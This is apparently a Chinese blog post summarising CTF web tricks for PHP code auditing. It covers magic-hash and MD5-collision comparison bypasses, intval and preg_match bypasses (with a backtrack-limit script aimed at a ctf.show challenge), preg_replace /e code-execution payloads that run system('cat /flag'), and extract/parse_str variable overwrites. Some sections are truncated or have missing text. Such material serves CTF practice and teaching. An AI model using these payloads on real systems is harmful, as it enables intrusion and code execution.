CTF WEB套路总结

PHP代码审计套路汇总(一)

审计代码,我们输入的不能相等,但md5却需要相等,这明显的就是利用Hash的比较缺陷来做

我们只要找出两个数再md5加密后都为0e开头的即可,常用的有以下几种

QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675

所以构造a=QNKCDZO&b=s878926199a即可绕过

0x01:md5

第一种:md5函数绕过

一、md5()函数获取不到数组的值,默认数组为0

二、sha1()函数无法处理数组类型,将报错并返回false

payload:

name[]=1&password[]=2

注意这里是===,不是==,所以这里采用md5()函数获取不到数组的值,默认数组为0这个特性来做,payload:

username[]=1&password[]=2

第二种:md5强类型绕过

(string)$_POST['a1']!==(string)$_POST['a2']  && md5($_POST['a1'])===md5($_POST['a2'])}

例如这段代码,使用数组就不可行,因为最后转为字符串进行比较,所以只能构造两个MD5值相同的不同字符串.

两组经过url编码后的值

#1 a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 #2 a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%

0x03:intval函数绕过

第一个特性:

0

第二个特性:

例如:

payload如下:

?num=0x117c ?num=010574

除此之外,这个函数还可以使用小数点来进行操作

第三个特性:

如果$base为0直到遇上数字或正负符号才开始做转换,在遇到非数字或字符串结束时(\0)结束转换,但前提是进行弱类型比较

例如:

payload:

?num=4476e1

0x04:preg_match函数绕过

第一种:/m

if(preg_match('/^php$/im',$a))

/m 多行匹配,但是当出现换行符 %0a的时候,会被当做两行处理,而此时只可以匹配第 1 行,后面的行就会被忽略。

第二种:回溯绕过

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit,可以通过var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限

回溯次数上限默认是100万,如果回溯次数超过了100万,preg_match返回的便不再是0或1,而是false,利用这个方法,可以写一个脚本,来使回溯次数超出pcre.backtrack_limit限制,进而绕过WAF

import requests url = 'http://3638bf4e-f63d-477c-95eb-ba023f279de8.chall.ctf.show:8080/' data = {     'f':'very'*250000+'ctfshow' } reponse = requests.post(url,data=data) print(reponse.text)

0x05: preg_replace /e 模式下的代码执行

/e 模式修正符,是 preg_replace() 将 $replacement 当做php代码来执行

'id']; $_SESSION['id'] = $id; function complex($re, $str) {     return preg_replace(         '/(' . $re . ')/ei',         'strtolower("\\1")',         $str     ); } foreach($_GET as $re => $str) {     echo complex($re, $str). "\n"; } function getFlag(){     @eval($_GET['cmd']); }

这里的代码便涉及到了preg_replace /e 模式下的代码执行

直接放payload:

\S*=${phpinfo()}

得到flag

?\S*=${eval(getFlag())}&cmd=system('cat /flag'); #最后的分号要加,除此之外,也可以: ?\S*=${eval($_POST[lemon])} #POST DATA lemon=system('cat /flag');

0x06:变量覆盖

第一种:extract函数、parse_str函数

extract() 函数使用数组键名作为变量名,使用数组键值作为变量值,当变量中有同名的元素时,该函数默认将原有的值给覆盖掉。这就造成了变量覆盖

POST方法传输进来的值通过extrace()函数处理,直接传入以POST的方式传入pass=1&thepassword_123=1就可以进行将原本的变量覆盖,并且使两个变量相等即可。

还有就是这两个函数如果结合起来使用,也会造成变量覆盖

代码中同时含有parse_str和extract($_POST)可以先将GET方法请求的解析成变量,然后再利用extract() 函数从数组中将变量导入到当前的符号表,故payload为:

?_POST[key1]=36d&_POST[key2]=36d

第二种:$$变量覆盖

$$变量覆盖要具体结合代码来看,可能会需要借助某个参数进行传递值,也有可能使用$GLOBALS(引用全局作用域中可用的全部变量)来做题

 

  • 29
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值